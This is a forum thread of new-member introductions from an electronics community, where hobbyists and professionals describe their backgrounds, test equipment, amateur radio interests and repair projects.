Post by: gubezon on November 19, 2022, 01:35:08 am
Hello all!

After a long time lurking, I decided to sign up here today.

Been knocking around with electronics since I was a kid in the 70s/80s. Whenever a product that had a battery or mains cord had the statement "no user serviceable parts inside", that was an open invitation to figure out how to crack it open!

One of my earliest recollections of hacking (albeit lame) was dismantling a nine volt AM transistor radio just to see what was inside, and then for whatever reason, instead reassembling it in the plastic housing (maybe I broke it?), I used a King Edward cigar box as an enclosure. Mounted the tuning cap and on/off volume potentiometer on one side of the box and rigged the small paper cone speaker on the front.

Wish it had survived the tumult of the years cause I'd take a pic and post it on here. It wasn't too awful looking.

Also had a hand-me-down (was one of my uncles) 150-in-1 electronic kit (Tandy/Radio Shack) in the late 70s that kept me occupied on plenty of dreary days when starting fires and having rock battles (etc etc) with the other neighborhood kids wasn't possible.

The big jackpot: when the public high school I ended up in had electronics classes as a possible elective for all four years. Mr Fowler who instructed me all four years was the best. Back in the 80s, he thought nothing of illustrating concepts of collapsing magnetic fields by shocking students foolish enough to believe that a 9v battery on the primary of a 6.3 volt filament transformer couldn't possibly give them a shock. Good times. (Would NEVER fly today!)

Anyway, I wasn't great academically, but always had a knack for hardware hacking. Ended up in the IT field most of my career. It pays the bills, and I still get a kick out of anything with a CLI interface or shell prompt. Long live BSD/ksh/bash/Linux/perl/python/etc/etc!

Got my amateur radio ticket along the way, and while I am not one to spend a lot of time ON the air, I love tinkering with transceivers and antennas.

Ultimately, while no engineer, I have always kept electronics close to my heart, and now am in head over heels with modern test equipment, the likes of which I thought I'd never be able to afford new.

Got new siglent toys on the way, and have been scraping the forums here for months for info about Rigol/Siglent gear. Love watching the tear-downs Dave does of the stuff, and once I realized that Siglent and Rigol are "HACKABLE" I just couldn't resist having a go at some of this kit!

Sure beats the day job! Office 365 and AD administration is like watching paint dry.  ::)

Looking forward to hopefully contributing anything of value here. Already benefited immensely just scraping the topics as a lurker!

See you down the threads!
Title: Re: New Member, Please introduce yourself
Post by: meballar on November 27, 2022, 04:36:21 am
Hello all,
I'm Michael Ballard.  I was in the USAF 22 years as a ground radio technician. After retiring from the AF, I took a job as an RF tech at a site in southern Germany. I had the luck of learning from the Master there, but for only 3 months before he retired. I was the sole maintainer of a bunch of dishes and it was a challenge everyday for sure. After that place closed, I went to a site in Korea as an RF tech. After the experienced tech retired, I continued getting deeper into the RF assurance testing.  We had a Tek 1502 time domain reflectometer (TDR) in the shop.  I had little experience with it, but I soon found out how incredibly useful it was.  I could shoot the RF cable at the base of these monstrous LPA antennas and see all the impedance transitions through the 10 connections in the 105' path. 

The biggest benefit I found with the TDR is its ability to clearly display sections of water contamination and degraded connections. I don't have any other TDR-type equipment (I read that the Fieldfox has an optional TDR function, but mine only has the CAT).  I also have an Anritsu S332D, and like the Distance-to-fault/VSWR function, which I used frequently, along with the TDR.

I encountered some DC voltage when I connected to a wrong port (which had the B+ running through the cable to power the antenna amplifier), which I assume smoked the "unobtainium" tunnel diodes.  I think to fix that I'll have to gamble on some of the 1502's on eBay advertised as not working, and hope that there are some salvageable parts.

So I bought a 1503 TDR off eBay, but have found that it is nowhere-even-close to being as useful as my 1502.  I don't know the condition of the eBay 1503, but I ran the 1503 diagnostics and it had no errors.  The pulses at the high and low impedance parts of a test cable look like what's depicted in the user manual-all I see displayed is an upclock (open) that drops back down to the middle, or downclock (short) that rises back up to the middle . 

This is nothing like the display of the 1502's "fingerprint" showing all the impedance deviations (such as the aforementioned LPA antenna sections) within a short distance.  When there's an open, the 1502 shows a steep upclock and a high plateau.  When there's a short, the 1502 shows a steep downclock and low plateau.  But other than those extremes, the 1502 tells a great story:  I see a variable impedance over time, indicative of the impedance changes as the cable transitions to the antenna hardware (load coils, connectors, changes in cable impedance (50 ohm cable, to metal airline, to 93 ohm cable, etc.).

Does this huge difference between the displays I'm getting from my 1502 and 1503 suggest that the 1503 has a problem?  Would it be a correct statement that the 1503 is more suited for just looking for shorts and opens in a cable path?  Thanks for any insights.

Mike



Title: Re: New Member, Please introduce yourself
Post by: Detlev on December 28, 2022, 03:44:55 pm
Hello everyone,

I'm Detlev from Germany and I live in the beautiful Weserbergland.

I've been reading here for a while and the forum has already given me a lot of valuable information  :-+

I had studied electrical engineering a long time ago, but then slipped into IT. This year I fulfilled a small dream and set up a small electronics measuring station. For me, this is a playground where I can refresh what I've learned and get back to my old hobby of electronics.

My hobbies are cycling, listening to music and much more and now electronics :)

Unfortunately, my English isn't that good, please don't be mad at me, I wasn't paying attention in school  :=\

Many greetings
Detlev
Title: Re: New Member, Please introduce yourself
Post by: HighVoltage on December 28, 2022, 04:32:52 pm
Unfortunately, my English isn't that good, please don't be mad at me, I wasn't paying attention in school  :=\


Welcome to the forum, Detlev
Don't worry about the language, your English is very good.

https://www.youtube.com/watch?v=rxUm-2x-2dM (https://www.youtube.com/watch?v=rxUm-2x-2dM)
Title: Re: New Member, Please introduce yourself
Post by: gubezon on December 31, 2022, 01:31:42 am
Welcome meballar, detlev and apkoff!

New here too, and like detlev, pay the bills slogging around in IT and still love my original hobby and am always looking for ways to spend more time on it than everything else that gets in the way.

Hope to see you all down the threads!

Happy New Year!
Title: Re: New Member, Please introduce yourself
Post by: p38arover on January 08, 2023, 03:39:16 am
Ron from western Sydney (Australia) here.

Retired telecomms tech (37 years in international telecomms) followed by 8 years controlling trains (signaller in a signal box).

Amateur radio operator (VK2OTC) but not very active; treasurer of the local amateur radio club - BMARC.org

Stumbled across this site whilst looking for info on Adcola T-80 soldering iron tips.  Still looking.  :)
Title: Re: New Member, Please introduce yourself
Post by: AnalogTodd on January 10, 2023, 03:45:09 pm
Hello all,

My name is Todd Owen, I'm an active power IC design engineer in industry. Started learning electronics in the late 70's with the old Radio Shack kits and then really got into it when I went to college to get my BSEE in the late 80's to early 90's.

Have been doing IC design as a career since I graduated in 1994 and started at LT. Was given the LDO product line to do, so if you've used an LT LDO, I've likely had my hands on it at some point (if not my design start to finish). Most recently heavily involved with low noise products and now into space and radiation environment designs.

Had the opportunity to work with some great people over the years.

Feel free to ask me questions!

-Todd
Title: Re: New Member, Please introduce yourself
Post by: jagwire64 on March 04, 2023, 01:53:45 pm
Hi all,

Tom from Virginia, USA...I'm not in the industry, I just enjoy fixing things. Recently I started repairing old computer boards and fell down a rabbit hole. Should have been an EE instead of an attorney, maybe in another life. I have been lurking for quite a while and I have learned a lot. The education continues...
Title: Re: New Member, Please introduce yourself
Post by: Lowkus on March 16, 2023, 07:24:55 am
Mark from Redmond, WA, USA.  I've been lurking on this site for a few years now.  My day job is programming and it drains the life out of me.  I'm hoping eventually to design some new products that I can sell and earn enough to escape having to work a day job.  Not just for the money though, I like the idea of creating new electronic devices.
Title: Re: New Member, Please introduce yourself
Post by: twistedpair on March 28, 2023, 05:21:31 am
Andrew from Adelaide, Australia.

Electronics Technician working in hardware / firmware development environments for the last three decades, most recently in the Aerospace, Science and Engineering sectors.

I have and interest in prototyping, test & measurement and all things retro.
Title: Re: New Member, Please introduce yourself
Post by: ekoloski on March 29, 2023, 03:43:38 pm
Hi All,

Ed from the USA here. I am not in the industry outside of a few PCB layouts that I've been commissioned to produce. I have been a hobbyist for many years though, and a ham radio operator for just about as long (KC2FNA). I have been a lurker on the forum for quite a while and would like to see what I can contribute back to the community.

I've been tinkering with circuits since for many years. Lately I've been working on a few nixie tube related projects, but my past has ranged from home automation to vacuum tube amplifiers, to test equipment modification and all sorts of obscure tangents. Aside from that I tend to try to repair any broken device I come across.
Title: Re: New Member, Please introduce yourself
Post by: elshazlio on March 29, 2023, 07:49:53 pm
Hello. I am an undergraduate Electronics Engineering student and I hate math, physics, and circuits \$\Omega\$. I find the semiconductor industry interesting as it sits at the cutting edge of human progress and development. I want to be there, right on the edge. So I want to work in a premiere semiconductor company like TSMC, Arm, Mediatek, Qualcomm, NVIDIA, or Apple.
Title: Re: New Member, Please introduce yourself
Post by: elshazlio on March 29, 2023, 07:51:42 pm
Good luck
Title: Re: New Member, Please introduce yourself
Post by: NeckLessPhill on April 06, 2023, 05:59:25 pm
Hi!
I'm Phill. I'm interested in the vast field of electronics. RC flyer by day, soldering maniac by night.
Title: Re: New Member, Please introduce yourself
Post by: Joop01 on April 13, 2023, 05:03:05 pm
Hello, I'm Joop and I'm setting up my measurement corner. Sometimes I have to build my own stuff because its not there. I'm busy with sound, model trains and computer, sometimes all combined. But for now its setting up my own measurement lab.
Title: Re: New Member, Please introduce yourself
Post by: systemCorrµPti0n on April 17, 2023, 10:16:43 pm
Hi!
I'm currently learning electronics by my own trying to build a radio. So far it's been lots of fun although I'm not even near my goal yet :D
Title: Re: New Member, Please introduce yourself
Post by: KD7CAO on April 25, 2023, 08:45:44 pm
Good Afternoon,

Perusing this site trying to find ways that I could increase the capability of a new-to-me Anritsu SiteMaster S332D. I acquired this unit at quite a bargain and having purchased an InstaCal and new battery, look forward to using the instrument in my volunteer and professional world. I primarily look to use it for chasing down cables and antenna issues related to Amateur Radio, however I am also in public safety and instruct courses related to communications. This instrument will likely tag along with me to courses as show-n-tell and to help others understand the tech available to them. Currently the unit only has Option 3. While it is beyond EOL, I am wondering what mods may be available to unlock other features of this now antiquated technology. The last time I updated an S332E I believe a hex file had to be uploaded via USB. I am guessing that something similar has to be done over the serial connection on the S332D model since it doesn't have a USB port. Anyone know of a code generator or other ways to get the activation codes? What about internal hardware to add features?
Title: Re: New Member, Please introduce yourself
Post by: Bryn on June 30, 2023, 08:31:39 pm
Hello. I came across this forum merely from a Google search lookup on something and had a little browse around... looks a cool little place :) While I have interests in technology and the like, I know nothing about working with electronics so don't expect me in the dedicated forums areas about it, haha.
Title: Re: New Member, Please introduce yourself
Post by: wvdronr62 on June 30, 2023, 11:00:59 pm
Hi All!
         Recently retired after almost 40 years in the engineering department at a major university. Life long geek/nerd with a rekindled interest in electronics after a many year hiatus. Amateur radio, vintage tube radios and test equipment, drones/quadcopters are my main hobbies. Finding myself on this forum more and more....
Title: Re: New Member, Please introduce yourself
Post by: Tizian on July 03, 2023, 03:17:34 pm
Salve ,sono Tiziano, sono in pensione dopo 43 anni di officina  metalmeccanica. Da parecchi anni frequento il vostro sito e vorrei mostrare alcuni lavori di elettronica analogica del presente e del passato. Buona vita.
Title: New Member, Enzostelvio for Zurich Switzerland!
Post by: Enzostelvio on July 03, 2023, 04:02:16 pm
Good evening to all members of the forum, my name is enzo and I just registered on your forum!

I live in zurich and have a particular hobby that is driving me crazy!
That's why I asked for help on your forum!

I greet all the components of the Forum and I really hope to find some new friends!

Good evening everyone!

Enzostelvio from Zurich

best regards


Enzostelvio
Title: Re: New Member, Please introduce yourself
Post by: Nickelbender on July 05, 2023, 07:55:10 am
Hello, I am Nick from Finland, I have been an electronics hobbyist for 4 years now and soon starting to study electronics properly school. I love all things electronic and/or vintage: test equipment, retro computers, camcorders and video gear. I joined this forum because I want to share my projects and have to possibility to get help when I need it.

-Nick
Title: Re: New Member, Please introduce yourself
Post by: localtoad on July 12, 2023, 05:51:52 pm
hi! I'm Leslie, just getting started with electronics (total beginner). Would like to integrate small circuits into zines/books!
Title: Re: New Member, Please introduce yourself
Post by: tux12 on July 14, 2023, 04:07:15 pm
Hi everybody,

61 old guy, I had a first professionnal life in (mostly) digital electronics before reorienting on GNU/Linux and Internet technologies at the beginning of the y2k, even if I still make some small electronic repairs for me or some friends. You'll probably hear about it later in another thread ;D
See you on the forum   :)
Title: Re: New Member, Please introduce yourself
Post by: griffinadams on July 14, 2023, 04:18:39 pm
Hello EEVbloggers! (blog-ettes?, EEVers? EEVblokes?)

I'm Griffin, 42, from Kansas. Went to an offshoot of K-State for my first undergrad in Electronics Engineering Technology. After a few years of end-of-line testing other people's designs, I decided I wanted to design them myself. I enrolled at KU at age 30 to get my second undergrad in Engineering Physics. Rock Chalk.

I've now spent almost 9 years as an EE helping design products in a wide range of fields. I'm lovin' it.
Title: Re: New Member, Please introduce yourself
Post by: Ole on July 18, 2023, 12:53:17 pm
Hello everyone,
I am Ole, from Germany and have been lurking and occasionally writing on the forum for a bit more than a year at this point.
As for my knowledge in electronics, I am by no means a pro, at least for now, as I am an apprentice and learning the job of the
electronic technician.

Well, see yall around.
Title: Re: New Member, Please introduce yourself
Post by: FoxtrotOfIndia on September 04, 2023, 10:31:53 am
Hi, I built a few kits as a kid but have just been reading about electronics since then (and watching vids more recently).
Time to start building some more stuff again  :-/O
I'll have to dig out my 20MHz DSE scope but I have my cheap little multimeter handy as I've used it quite often  :-DMM
I have just saved an older scope so I'll do a teardown on that soon.
Title: Re: New Member, Please introduce yourself
Post by: geb on September 19, 2023, 01:28:58 am
Hi! I'm George, 58. I've been in hardware and software a long time. An unfinished EE, a BSCS+telecom, and various certs.

I was in amateur radio until 2018. My neighbor got started because of me, and now leads the local club, and is pressuring me to get back into it.

I've been at my current job for 20 years at a Point-Of-Sale manufacturer... Developing firmware and BIOS, drivers, and debugging our hardware designs... Writing diagnostic and utility apps, originally in DOS but now in UEFI.

I found the EEVblog forum when I wondered whether I could do anything about calibrating my ZT-102 multimeter. Modding ensued... :) I started buying more cheap DMMs with higher counts from overseas, just to see how well they behaved when modded and/or calibrated. Of course, then I had to buy some accurate benchtop meters and some calibration sources... I think I have the beginnings of TE addiction.
Title: Re: New Member, Please introduce yourself
Post by: Zbyszek on October 01, 2023, 02:36:44 am
Hello,

I am new here. I want tosay hello to everybody. My name is Zbigniew, that is very popular Polish name (see Zbigniew Brzezinski). I was born in Poland, but for last 40 years I am living in the US. I am EE  from AGH in Krakow. Recently retired. I read this blog for some time but recently I will need to ask some questions about my new Siglent SDS1104X-E which I bought as a replacement for my Tektronix 2236A lost in the house fire.
Title: Re: New Member, Please introduce yourself
Post by: tautech on October 01, 2023, 04:51:41 am
Hello,

I am new here. I want tosay hello to everybody. My name is Zbigniew, that is very popular Polish name (see Zbigniew Brzezinski). I was born in Poland, but for last 40 years I am living in the US. I am EE  from AGH in Krakow. Recently retired. I read this blog for some time but recently I will need to ask some questions about my new Siglent SDS1104X-E which I bought as a replacement for my Tektronix 2236A lost in the house fire.
Welcome to the forum.

Ask away here:
https://www.eevblog.com/forum/testgear/siglent-sds1204x-e-released-for-domestic-markets-in-china/ (https://www.eevblog.com/forum/testgear/siglent-sds1204x-e-released-for-domestic-markets-in-china/)
Title: Re: New Member, Please introduce yourself
Post by: Piper259 on October 18, 2023, 12:34:13 pm
Hello from TX. I came in search of exciting electronics literature and discussions on any topic  :popcorn:
Title: Re: New Member, Please introduce yourself
Post by: AnnaWatts on October 19, 2023, 12:01:55 pm
Hello guys. My name is Anna and I am very happy to be a part of such community!
Title: Re: New Member, Please introduce yourself
Post by: Hairy-Dude on October 23, 2023, 07:12:58 pm
Hello everyone!

Guitar tech and sound engineer here. I studied electronics in the 90's, mainly micro controllers and associated things. I occasionally repair things like FX pedals and rack units as part of my job, and I'm looking to learn more about audio power amps and switch mode power supplies, and repair techniques in general.

Cheers!

Title: Re: New Member, Please introduce yourself
Post by: RaymondRosas on November 10, 2023, 02:42:42 am
Hello everyone I'm Raymond I'm Filipino I'm working here in Malaysia as Electronics Repair Specialist This forum has been a great help to me for difficult to repair electronics boards. ;D ;D ;D ;D
Title: Re: New Member, Please introduce yourself
Post by: Jupitus on December 21, 2023, 11:53:14 pm
Hi Everyone! I'm Jupitus... pronounced 'JOOPITOOS' like the planet Jupiter. Real name is Jon, Jupitus is my aged gaming nick.

Anyway- I do small projects trying to fix stuff for my family and friends, and I am working on my son's old HP 15 laptop.... again.... I am going to be away for Christmas so just saying hi for now, but will try to research and prep a reasonable 'help me please' post in the near future. Nice to meet you, please be kind to the silly idiot that I am  :-[
Title: Re: New Member, Please introduce yourself
Post by: BlownUpCapacitor on February 16, 2024, 07:39:18 pm
Not "new" anymore, but never got to introduce myself.

My username is BlownUpCapacitor, but my real name is Benjamin Badrakh.
I am currently 15, living in CA, USA as I write this. I have a genuine interest in electronics, mainly old electronics. I haven't designed many circuits so far, but have serviced a few scopes and test equipment to date. These include a Tek 2230, Tek 7613, Tek 2235, Tek DC504, Tek FG501, Tek SC502, Tekpower power supply, Tek 5CT1N, Tek 5110, and Exact 524. My first fix was a 2235 when I was 11 years of age. Only a few bad caps in the PSU causing massive ripples in the waveform.

Every time I fix another piece of gear, I learn something new, and also repairing TE keeps me busy.

My next piece of gear I plan to fix is a 7904. I found this beast in my local E-Recycle shop, and have not yet taken it yet, for lack of skill. But I have saved up a nice knowledge and hope to take it with me next week for restoration and repairs.
Title: Re: New Member, Please introduce yourself
Post by: basilic on February 17, 2024, 12:20:14 pm
Hello, I'm Basilic. I work as a PCBA designer and I've been passionate about electronics since childhood. I'm here on the forum to read topics mainly related to EMC testing equipment. I'm also a strong supporter of open-source and free knowledge in general.
Title: Re: New Member, Please introduce yourself
Post by: Karthor on March 12, 2024, 07:01:08 pm
Hello i'm Karthor and i've been interested in Electronics from a young age
Title: Re: New Member, Please introduce yourself
Post by: squibby on March 14, 2024, 02:03:20 am
Hi Guys,

New member here in Brisbane. I started my hobby by fixing up 1950's 1960's tube stereos. You know the sort in their own furniture with a record player. Then gradually started collecting period-relevant tools from mid-century, and then i found I started to enjoy collecting the tools more than the radio repair.

I have a large stock of old tubes, and a few old multimeters (1960's) from Kyoritsu and Sencore. I got an old japanese 1980's scope and a 1960's Tektronix scope. 1950's tube tester and capacitor checker, 1960's signal tracer, Secore Mighty mite tube tester, 1970's Sencore transistor testers x2, 1960's counter with nixie tubes, some old 1960's signal generators etc and probably a few things I have forgotten. Most of them have just needed small amounts of attention to get them working perfectly, others (like the super cool 1950's capacitor checker) needed massive overhauls, and some i haven't got to yet. The Tek scope is the most amazing piece of kit.

Anyway, that's me. Hope to fix up some old radios again once I get some jobs out of the way around the house.
Title: Re: New Member, Please introduce yourself
Post by: LooKatME on March 14, 2024, 02:16:01 am
Hi, I am Oscar. It is my first post here. I am looking to build a budget workstation for myself. I will ask for some advice in other posts, feel free to comment. Thank you!
Title: Re: New Member, Please introduce yourself
Post by: DiodeDipShit on March 18, 2024, 05:26:38 pm
Hi All, I am just an olde lover of electronics. I studied electronics in a vocational school, worked at a few companies (test equipment, commercial, components} then change occupation to Mechanical Engineering. But, I have dabbled in electronic repair ever since. I only have a VOM and power supply. I have collected components over time as the evolution from early bimetal mechanical thermo switches to micro electronics fascinates me. I found this site today and feel I can contribute in a primitive way, being more tuned in with resistors, diodes, transistors and breadboard, though I used to be versed in 7400 series IC's. That was some time ago...